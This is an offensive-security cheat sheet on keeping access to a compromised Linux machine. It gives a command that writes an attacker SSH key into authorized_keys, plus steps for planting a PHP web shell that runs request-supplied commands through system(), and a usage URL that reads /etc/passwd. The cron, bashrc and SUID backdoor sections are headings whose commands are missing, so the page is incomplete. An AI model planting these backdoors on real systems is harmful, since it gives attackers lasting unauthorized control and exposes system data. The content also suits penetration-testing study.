For the complete documentation index, see llms.txt. This page is also available as Markdown.

Linux Persistence

Linux Persistance

SSH Key

  • Can be root or normal user.

echo "SSH_PUB_KEY_HERE" > ~/.ssh/authorized_keys

PHP Backdoors

  • Most likely need to be root, depends on if apache2 is already running, as well as web root permissions for your current user.

  • On victim machine

sudo systemctl start apache2
cd /var/www/html 
nano ANKWTxiy11ugLHdaxJ.php
<?php if(isset($_REQUEST['cmd'])){ echo "<pre>"; $cmd = ($_REQUEST['cmd']); system($cmd); echo "</pre>"; die; }?>

Usage

http://target.com/ANKWTxiy11ugLHdaxJ.php?cmd=cat+/etc/passwd

Cron Job Backdoor

  • On target if root

  • On target it not root

  • Create the cron Job

Bashrc Backdoor

  • Can be used as the root or non root user

SUID Binary

  • Need to be root, great backdoor if for example you found a priv-esc as a normal user and want an ability to priv-esc up in the future

  • Depends on having gcc on the target

  • To trigger

Last updated